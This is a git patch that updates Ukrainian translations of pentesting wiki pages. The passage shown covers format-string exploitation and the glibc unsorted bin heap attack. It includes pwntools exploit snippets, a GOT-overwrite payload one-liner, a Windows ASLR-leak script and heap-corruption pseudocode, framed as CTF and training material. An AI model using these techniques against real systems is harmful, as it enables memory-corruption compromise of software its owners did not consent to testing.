From b18c180b64c21aa6d594df0d6e97d07a87ebe05b Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 12:23:34 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/phishing-method --- .../format-strings/README.md | 91 ++- .../libc-heap/unsorted-bin-attack.md | 117 +-- .../stack-overflow/README.md | 92 +-- .../stack-overflow/stack-shellcode/README.md | 79 +- .../stack-overflow/windows-seh-overflow.md | 70 +- .../phishing-documents.md | 72 +- .../privilege-escalation/README.md | 539 +++++++------- .../arm64-basic-assembly.md | 504 ++++++------- .../pentesting-web/README.md | 230 +++--- .../pentesting-web/apache.md | 104 +-- .../pentesting-web/ispconfig.md | 50 +- src/pentesting-web/command-injection.md | 35 +- src/pentesting-web/idor.md | 72 +- .../xs-search/css-injection/README.md | 202 +++--- .../xss-cross-site-scripting/README.md | 435 +++++------ .../xss-cross-site-scripting/js-hoisting.md | 34 +- .../pentesting-ble-bluetooth-low-energy.md | 46 +- .../ad-certificates/README.md | 100 +-- .../ad-certificates/domain-escalation.md | 444 ++++++------ .../uac-user-account-control.md | 129 ++-- .../README.md | 682 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 46 +- .../com-hijacking.md | 30 +- .../named-pipe-client-impersonation.md | 58 +- .../roguepotato-and-printspoofer.md | 48 +- 25 files changed, 2148 insertions(+), 2161 deletions(-) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index fd419338f..b864d9d63 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Основна інформація -У C **`printf`** — функція, яка використовується для **виведення** рядка. **Перший параметр**, який ця функція очікує — це **сирий текст з форматними специфікаторами**. **Наступні параметри**, які очікуються — це **значення**, щоб **підставити** **форматні специфікатори** зі сирого тексту. +У C **`printf`** — функція, яку можна використовувати для **виведення** рядка. **Першим параметром**, який очікує ця функція, є **сирий текст з форматерами**. **Наступні параметри** — це **значення**, якими підставляються **форматери** у сирому тексті. -Інші вразливі функції — **`sprintf()`** та **`fprintf()`**. +Інші вразливі функції: **`sprintf()`** та **`fprintf()`**. -Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** цієї функції. Зловмисник зможе створити **спеціальний вхід, що зловживає** можливостями **printf format** string, щоб читати і **записувати будь-які дані за будь-якою адресою (доступною для читання/запису)**. Таким чином можна **виконувати довільний код**. +Вразливість виникає, коли **attacker text is used as the first argument** до цієї функції. attacker зможе створити **спеціальний вхід, який зловживає** можливостями рядка формату **printf** для читання та **записувати будь-які дані в будь-яку адресу (readable/writable)**. Таким чином можна **execute arbitrary code**. -#### Форматні специфікатори: +#### Форматери: ```bash %08x —> 8 hex bytes %d —> Entire @@ -54,26 +54,26 @@ return 0; ``` ### **Доступ до вказівників** -Формат **`%$x`**, де `n` — число, дозволяє вказати printf вибрати n-тий параметр (зі стеку). Тому, якщо ви хочете прочитати 4-й параметр зі стеку за допомогою printf, ви можете зробити: +Формат **`%$x`**, де `n` — це число, дозволяє вказати printf вибрати n-й параметр (зі stack). Отже, якщо ви хочете прочитати 4-й параметр зі stack за допомогою printf, ви можете зробити так: ```c printf("%x %x %x %x") ``` -і ви б читали з першого по четвертий параметр. +і ви б читали від першого до четвертого параметра. -Або ви можете зробити: +Або ви могли б зробити: ```c printf("%4$x") ``` -і прочитати безпосередньо четвертий. +і безпосередньо прочитати четвертий. -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Notice that the attacker controls the `printf` **параметр, що, по суті, означає, що** його введення опиниться в stack під час виклику `printf`, а це дозволяє йому записувати конкретні адреси пам'яті в stack. > [!CAUTION] -> Attacker, який контролює цей input, зможе **add arbitrary address in the stack and make `printf` access them**. У наступному розділі буде пояснено, як використати цю поведінку. +> Зловмисник, що контролює це введення, зможе **додати довільні адреси в stack і змусити `printf` звертатися до них**. У наступному розділі буде пояснено, як використовувати цю поведінку. ## **Arbitrary Read** -Можна використати форматер **`%n$s`**, щоб змусити **`printf`** отримати **address** розташовану на **n position**, перейти за нею й **print it as if it was a string** (виводиться до першого 0x00). Отже, якщо базова address бінарника — **`0x8048000`**, і ми знаємо, що user input починається на 4th позиції в stack, можна надрукувати початок бінарника за допомогою: +Можна використати форматтер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, розташовану в **n-й позиції**, перейти за нею та **вивести її як рядок** (виводити до зустрічі 0x00). Отже, якщо базова адреса бінарного файлу — **`0x8048000`**, і ми знаємо, що введення користувача починається на 4-й позиції в stack, можна вивести початок бінарника за допомогою: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Зауважте, що ви не можете помістити адресу 0x8048000 на початок вводу, оскільки рядок буде обірваний 0x00 в кінці цієї адреси. +> Зауважте, що ви не можете помістити адресу 0x8048000 на початок введення, оскільки рядок буде обірвано символом 0x00 в кінці цієї адреси. -### Find offset +### Знайти offset -Щоб знайти offset вашого вводу, ви можете надіслати 4 або 8 байтів (`0x41414141`) з наступним **`%1$x`** і **збільшувати** значення, доки не отримаєте `A's`. +Щоб знайти offset до вашого введення, ви можете відправити 4 або 8 байтів (`0x41414141`) після яких додати **`%1$x`** і **збільшувати** значення, поки не отримаєте `A's`.
@@ -128,50 +128,49 @@ p.close() ### Наскільки корисно -Arbitrary reads можуть бути корисними для: +Arbitrary reads можуть бути корисні для: - **Dump** the **binary** з пам'яті -- **Access specific parts of memory where sensitive** **info** зберігається (наприклад, canaries, encryption keys або custom passwords як у цьому [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Access specific parts of memory where sensitive** **info** is stored (наприклад canaries, encryption keys або custom passwords, як у цьому [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Форматтер **`%$n`** **записує** **кількість записаних байтів** за **вказаною адресою**, яка знаходиться в параметрі на стеку. Якщо атакуючий може записати стільки символів, скільки захоче через printf, він зможе змусити **`%$n`** записати довільне число в довільну адресу. +Форматтер **`%$n`** **writes** the **number of written bytes** в **вказану адресу**, яка знаходиться в параметрі у стеку. Якщо атакуючий може вивести стільки символів, скільки захоче за допомогою printf, він зможе змусити **`%$n`** записати довільне число у довільну адресу. -На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" у ввідні дані; натомість можна використовувати форматтер **`%.%$n`** щоб записати число **``** за **адресою, на яку вказує позиція `num`**. +На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до вводу; можна використати форматтер **`%.%$n`** щоб записати число **``** в **адресу, на яку вказує позиція `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Однак зауважте, що зазвичай, щоб записати адресу, наприклад `0x08049724` (яка є ДУЖЕ ВЕЛИКОЮ для запису одразу), **використовується `$hn`** замість `$n`. Це дозволяє **записати лише 2 байти**. Тому ця операція виконується двічі: один раз для старших 2 байтів адреси і ще раз для молодших. +Проте зауважте, що зазвичай, щоб записати адресу таку як `0x08049724` (що є ВЕЛИКИМ числом для одноразового запису), **використовується `$hn`** замість `$n`. Це дозволяє **записувати лише 2 байти**. Отже, цю операцію виконують двічі: для старших 2 байтів адреси й для молодших. -Отже, ця вразливість дозволяє **записати будь-що в будь-яку адресу (arbitrary write).** - -У цьому прикладі мета—**перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча можна також використати інші arbitrary write to exec techniques: +Тому ця вразливість дозволяє **записати будь-що у будь-яку адресу (arbitrary write).** +У цьому прикладі мета — **перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча це також можна використати з іншими arbitrary write → exec техніками: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача**, і **вказати** її на **функцію** **`system`**.\ -Як уже згадувалося, щоб записати адресу зазвичай потрібно 2 кроки: спочатку ви **записуєте 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**. +Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача**, і **вказати** її на функцію **`system`**.\ +Як згадувалося, щоб записати адресу зазвичай потрібно 2 кроки: спочатку записують 2 байти адреси, а потім інші 2. Для цього використовується **`$hn`**. -- **HOB** відповідає за 2 старші байти адреси -- **LOB** відповідає за 2 молодші байти адреси +- **HOB** — це 2 старші байти адреси +- **LOB** — це 2 молодші байти адреси -Через особливості роботи format string потрібно спочатку **записати менший** з \[HOB, LOB], а потім інший. +Тоді, через те, як працює format string, потрібно **спочатку записати найменше** з \[HOB, LOB] а потім інше. -If HOB < LOB\ +Якщо HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Якщо HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools Template +### Шаблон Pwntools Ви можете знайти **шаблон**, щоб підготувати exploit для цього типу вразливості в: @@ -201,26 +200,26 @@ p.interactive() ``` ## Format Strings to BOF -Можна зловживати діями запису format string vulnerability, щоб **write in addresses of the stack** та експлуатувати уразливість типу **buffer overflow**. +Можна зловживати операціями запису вразливості format string, щоб **записувати в адреси stack** і експлуатувати тип вразливості **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -На Windows x64 перші чотири integer/pointer параметри передаються в регістри: RCX, RDX, R8, R9. У багатьох buggy call-sites attacker-controlled string використовується як format argument, але variadic arguments не надаються, наприклад: +На Windows x64 перші чотири цілочисельні/вказівникові параметри передаються в регістри: RCX, RDX, R8, R9. У багатьох вразливих місцях виклику рядок, контрольований атакуючим, використовується як аргумент формату, але жодні варіативні аргументи не передаються, наприклад: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Оскільки не передаються varargs, будь-яка конверсія на кшталт "%p", "%x", "%s" змусить CRT зчитати наступний variadic-аргумент з відповідного регістра. За Microsoft x64 calling convention перше таке зчитування для "%p" відбувається з R9. Будь-яке тимчасове значення, що знаходиться в R9 у момент виклику, буде надруковано. На практиці це часто призводить до витоку стабільного in-module pointer (наприклад, вказівник на локальний/глобальний об'єкт, раніше розміщений в R9 оточуючим кодом або callee-saved value), яке можна використати для відновлення module base та обходу ASLR. +Оскільки жодні varargs не передаються, будь-яке перетворення типу "%p", "%x", "%s" змусить CRT прочитати наступний варіативний аргумент з відповідного регістру. За Microsoft x64 calling convention перше таке читання для "%p" відбувається з R9. Будь-яке тимчасове значення в R9 на момент виклику буде виведено. На практиці це часто дає leak стабільного вказівника всередині модуля (наприклад, вказівник на локальний/глобальний об'єкт, раніше поміщений в R9 оточуючим кодом або значення, збережене callee), що можна використати для відновлення module base і обходу ASLR. Практичний робочий процес: -- Впровадьте нешкідливий формат, наприклад "%p " на самому початку рядка під контролем атакуючого, щоб перша конверсія виконалася до фільтрації. -- Захопіть витеклий вказівник, визначте статичний офсет цього об'єкта всередині модуля (шляхом зворотного аналізу з символами або локальною копією), і відновіть image base як `leak - known_offset`. -- Повторно використайте цю базу для обчислення абсолютних адрес для ROP gadgets та IAT entries віддалено. +- Впровадьте нешкідливий формат, наприклад "%p " на самому початку рядка, контрольованого атакуючим, щоб перше перетворення виконалося до будь-якого фільтрування. +- Захопіть leak-вказівник, визначте статичний офсет цього об'єкта всередині модуля (шляхом reversing з символами або локальної копії), та відновіть image base як `leak - known_offset`. +- Повторно використайте цю базу для обчислення абсолютних адрес для ROP gadgets і IAT entries віддалено. -Приклад (скорочений python): +Example (abbreviated python): ```python from pwn import remote @@ -233,25 +232,25 @@ base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Примітки: -- Точний зсув для віднімання знаходять один раз під час локального реверсингу й потім повторно використовують (same binary/version). -- Якщо "%p" не виводить дійсний вказівник з першої спроби, спробуйте інші специфікатори ("%llx", "%s") або кілька конверсій ("%p %p %p"), щоб промапити інші argument registers/stack. -- Цей патерн специфічний для Windows x64 calling convention та реалізацій printf-family, які читають неіснуючі varargs з регістрів, коли форматний рядок їх запитує. +- Точне зміщення, яке потрібно відняти, знаходять один раз під час локального реверсингу і потім повторно використовують (той самий бінарний файл/версія). +- Якщо "%p" не виводить валідний вказівник з першої спроби, спробуйте інші специфікатори ("%llx", "%s") або кілька конверсій ("%p %p %p"), щоб опитати інші регістри/стек аргументів. +- Цей патерн специфічний для Windows x64 calling convention та реалізацій printf-family, які зчитують неіснуючі varargs з регістрів, коли форматний рядок їх запитує. -Ця техніка надзвичайно корисна для bootstrap ROP на Windows сервісах, скомпільованих з ASLR та без очевидних memory disclosure primitives. +Ця техніка надзвичайно корисна для bootstrap ROP на Windows сервісах, скомпільованих з ASLR і без очевидних memory disclosure primitives. -## Інші приклади & посилання +## Інші приклади та посилання - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, базове використання format strings щоб leak flag зі stack (не потрібно змінювати потік виконання) +- 32 bit, no relro, no canary, nx, no pie, базове використання format strings для leak flag зі stack (не потрібно змінювати execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string щоб перезаписати адресу `fflush` на win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string для перезапису адреси `fflush` на win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string щоб записати адресу всередині main у `.fini_array` (так що потік виконання повертається ще раз) і записати адресу `system` у GOT для `strlen`. Коли потік повернеться в main, виклик `strlen` з ввідом користувача, але вказуючи на `system`, виконає передані команди. +- 32 bit, relro, no canary, nx, no pie, format string для запису адреси всередину main у `.fini_array` (щоб flow повернувся ще один раз) і запису адреси `system` у GOT, яка вказує на `strlen`. Коли flow повернеться в main, `strlen` буде виконаний з user input і, оскільки вказує на `system`, виконає передані команди. -## Посилання +## Джерела - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 82c86edc3..48d8e6563 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -2,18 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -## Основна інформація +## Basic Information -Для детальнішої інформації про те, що таке unsorted bin див. цю сторінку: +For more information about what is an unsorted bin check this page: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists можуть записати адресу в `unsorted_chunks (av)` у полі `bk` чанку. Тому, якщо атакуючий може **змінити адресу вказівника `bk`** у чанку всередині unsorted bin, він зможе **записати цю адресу за довільною адресою**, що може допомогти leak адреси Glibc або обійти деякі захисти. +Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. -Отже, по суті ця атака дозволяє **встановити велике число за довільною адресою**. Це «велике число» — адреса, яка може бути heap-адресою або адресою Glibc. Традиційною ціллю був **`global_max_fast`**, щоб дозволити створювати fast bin з більшими розмірами (та перейти від unsorted bin attack до fast bin attack). +So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack). - Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. @@ -23,49 +23,49 @@ Unsorted lists можуть записати адресу в `unsorted_chunks (a > Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. > [!CAUTION] -> Зверніть увагу, що ця атака корумпує unsorted bin (а отже і small та large). Тому тепер ми можемо **використовувати лише алокації з fast bin** (складніша програма може робити інші алокації і впасти), і щоб тригернути це ми повинні **розподілити пам'ять того самого розміру, інакше програма впаде.** +> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** > -> Зверніть увагу, що перезапис **`global_max_fast`** може допомогти в цьому випадку, довіряючи, що fast bin зможе обслужити всі інші алокації, поки експлойт не буде завершений. +> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. -Код від [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) добре це пояснює, хоча якщо змінити malloc-и так, щоб вони виділяли пам'ять достатню велику щоб не потрапляти в Tcache, можна побачити раніше згадану помилку, яка заважає цій техніці: **`malloc(): unsorted double linked list corrupted`** +The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** -### Як фактично відбувається запис +### How the write actually happens - The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. - During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` - If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. - Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. -## Сучасні обмеження (glibc ≥ 2.33) +## Modern constraints (glibc ≥ 2.33) -Щоб надійно використовувати unsorted‑bin writes у сучасних glibc: +To use unsorted‑bin writes reliably on current glibc: -- Tcache interference: для розмірів, які потрапляють у tcache, frees перенаправляються туди і не торкаються unsorted bin. Варіанти: -- робити запити з розмірами > MAX_TCACHE_SIZE (≥ 0x410 на 64‑біт за замовчуванням), або -- заповнити відповідний tcache bin (7 записів), щоб додаткові frees діставалися до глобальних бінів, або -- якщо середовище контрольоване, відключити tcache (наприклад, GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Integrity checks on the unsorted list: на наступному шляху алокації, який перевіряє unsorted bin, glibc перевіряє (спрощено): -- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; інакше воно завершується з `malloc(): unsorted double linked list corrupted`. -- Це означає, що адреса, яку ви цілите, має терпляче переносити два записи: спочатку `*(TARGET) = victim` під час free; пізніше, коли чанк буде видалятися, `*(TARGET) = unsorted_chunks(av)` (аллокатор перезаписує `bck->fd` назад на голову біну). Обирайте цілі, де просте примусове встановлення великого ненульового значення корисне. -- Типові стабільні цілі в сучасних експлоїтах -- Стан застосунку або глобальний стан, який трактує «великі» значення як прапори/ліміти. -- Побічні примітиви (наприклад, підготовка для наступного [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) або для переключення на пізніший write‑what‑where). -- Уникайте `__malloc_hook`/`__free_hook` у нових glibc: вони були видалені в 2.34. Уникайте `global_max_fast` на ≥ 2.39 (див. попередню примітку). -- Про `global_max_fast` у нещодавніх glibc -- У glibc 2.39+ `global_max_fast` став 8‑бітною глобальною змінною. Класичний трюк записати туди heap‑вказівник більше не працює коректно і, ймовірно, корумпуватиме сусідній стан аллокатора. Краще обирати інші стратегії. +- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either +- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or +- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or +- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): +- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. +- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. +- Typical stable targets in modern exploits +- Application or global state that treats "large" values as flags/limits. +- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). +- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). +- About `global_max_fast` on recent glibc +- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. ## Minimal exploitation recipe (modern glibc) -Мета: досягти одного довільного запису heap‑вказівника за довільною адресою, використовуючи примітив вставки в unsorted‑bin, без аварійного завершення. +Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. - Layout/grooming -- Виділіть A, B, C з розмірами, достатніми, щоб обійти tcache (наприклад, 0x5000). C запобігає консолідації з top chunk. +- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. - Corruption -- Переповнення з A у заголовок B, щоб встановити `B->bk = (mchunkptr)(TARGET - 0x10)`. +- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. - Trigger -- `free(B)`. Під час вставки аллокатор виконує `bck->fd = B`, отже `*(TARGET) = B`. +- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. - Continuation -- Якщо ви плануєте продовжувати алокації й програма використовує unsorted bin, очікуйте, що аллокатор пізніше встановить `*(TARGET) = unsorted_chunks(av)`. Обидва значення зазвичай великі і можуть бути достатніми, щоб змінити семантику розмірів/лімітів у цілях, які лише перевіряють «велике». +- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". Pseudocode skeleton: ```c @@ -80,33 +80,34 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Якщо ви не можете обійти tcache за допомогою size, заповніть tcache bin для обраного size (7 frees) перед тим як звільнити пошкоджений chunk, щоб free перейшов в unsorted. -> • Якщо програма одразу припиняє роботу при наступному виклику allocation через перевірки unsorted-bin, повторно перевірте, що `victim->fd` все ще дорівнює голові біну і що ваш `TARGET` містить точний вказівник на `victim` після першого запису. +> • Якщо ви не можете обійти tcache за розміром, заповніть tcache bin для обраного розміру (7 frees) перед тим, як звільнити пошкоджений chunk, щоб free пішов у unsorted. +> • Якщо програма негайно аварійно завершується на наступному виділенні через перевірки unsorted-bin, ще раз перевірте, що `victim->fd` досі дорівнює голові bin і що ваш `TARGET` містить точний вказівник `victim` після першого запису. ## Unsorted Bin Infoleak Attack -Насправді це дуже базова концепція. Чанки в unsorted bin будуть містити вказівники. Перший chunk в unsorted bin фактично має **`fd`** і **`bk`** посилання, **що вказують на частину main arena (Glibc)**.\ -Тому, якщо ви можете **помістити chunk в unsorted bin і прочитати його** (use after free) або **виділити його знову без перезапису принаймні одного з вказівників**, щоб потім **прочитати** його, ви можете отримати **Glibc info leak**. +Насправді це доволі проста концепція. Чанки в unsorted bin будуть містити вказівники. Перший chunk в unsorted bin фактично має **`fd`** і **`bk`** посилання, які **вказують на частину main arena (Glibc)**.\ +Отже, якщо ви можете **помістити chunk в unsorted bin і прочитати його** (use after free) або **заново allocate його без перезапису принаймні одного з вказівників**, щоб потім **прочитати** його, ви можете отримати **Glibc info leak**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Схожий [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) полягав у зловживанні структурою з 4 chunks (A, B, C і D — D потрібен лише, щоб запобігти консолідації з top chunk), тому null byte overflow в B використовувався, щоб змусити C вказувати, що B не використовується. Також в B дані `prev_size` були змінені так, що розмір замість розміру B став A+B.\ +Потім C було deallocated і консолідовано з A+B (але B залишався у використанні). Було виділено новий chunk розміру A, і в B записали libc leaked addresses, звідки вони були leaked. -## References & Other examples +## Посилання та інші приклади - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Мета — перезаписати глобальну змінну значенням більше ніж 4869, щоб отримати flag; PIE не увімкнено. +- Мета — перезаписати глобальну змінну значенням більшим за 4869, щоб стати можливим отримання flag і PIE не увімкнено. - Можна згенерувати chunks довільних розмірів і існує heap overflow потрібного розміру. -- Атака починається зі створення 3 чанків: chunk0 для зловживання overflow, chunk1 — який буде переповнений, і chunk2, щоб top chunk не консолідував попередні. -- Потім chunk1 звільняють, і chunk0 переповнюють так, щоб `bk` вказував на: `bk = magic - 0x10` -- Потім виділяють chunk3 того ж розміру, що й chunk1, що спрацьовує unsorted bin attack і змінює значення глобальної змінної, дозволяючи отримати flag. +- Атака починається зі створення 3 chunks: chunk0 для зловживання overflow, chunk1 який буде overflowed і chunk2 щоб top chunk не консолідував попередні. +- Потім chunk1 звільняють і chunk0 переповнюють до `bk` вказівника chunk1, який тепер вказує на: `bk = magic - 0x10` +- Далі виділяють chunk3 того ж розміру, що й chunk1, що викликає unsorted bin attack і змінює значення глобальної змінної, що робить можливим отримання flag. + - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- Функція merge вразлива, бо якщо передані індекси однакові, вона зробить realloc на ньому, потім free, але поверне вказівник на звільнену область, який можна використовувати. -- Тому створюються **2 чанки**: **chunk0**, який буде merged з самим собою, і chunk1, щоб запобігти консолідації з top chunk. Потім **merge function викликається для chunk0** двічі, що призводить до use after free. -- Потім викликається функція **`view`** з індексом 2 (індекс use after free chunk), яка **leaks a libc address**. -- Оскільки бінар має захисти, що дозволяють malloc лише розміри більші за **`global_max_fast`**, тому fastbin не використовується, застосовується unsorted bin attack для перезапису глобальної змінної `global_max_fast`. -- Потім можна викликати edit з індексом 2 (вказівник use after free) і перезаписати вказівник `bk`, щоб він вказував на `p64(global_max_fast-0x10)`. Створення нового chunk використає попередньо скомпрометовану адресу free (0x20) і спровокує unsorted bin attack, перезаписавши `global_max_fast` на дуже велике значення, що дозволить тепер створювати chunks у fast bins. +- Функція merge вразлива, тому що якщо передані обидва індекси однакові, вона зробить realloc на ньому, потім free, але поверне вказівник на ту freed область, яку можна використати. +- Тому **створюються 2 chunks**: **chunk0**, який буде змержений сам з собою, і chunk1, щоб запобігти консолідації з top chunk. Потім викликають **merge** з chunk0 двічі, що викликає use after free. +- Далі викликають функцію **view** з індексом 2 (індекс use after free chunk), яка **leaks libc address**. +- Оскільки бінар має обмеження, що malloc дозволений лише на розміри більші за **`global_max_fast`**, тому fastbin не використовується, застосовується unsorted bin attack для перезапису глобальної змінної `global_max_fast`. +- Потім можна викликати функцію edit з індексом 2 (вказівник use after free) і перезаписати `bk` вказівник, щоб він вказував на `p64(global_max_fast-0x10)`. Створення нового chunk використає попередньо скомпрометовану freed адресу (0x20) і **trigger the unsorted bin 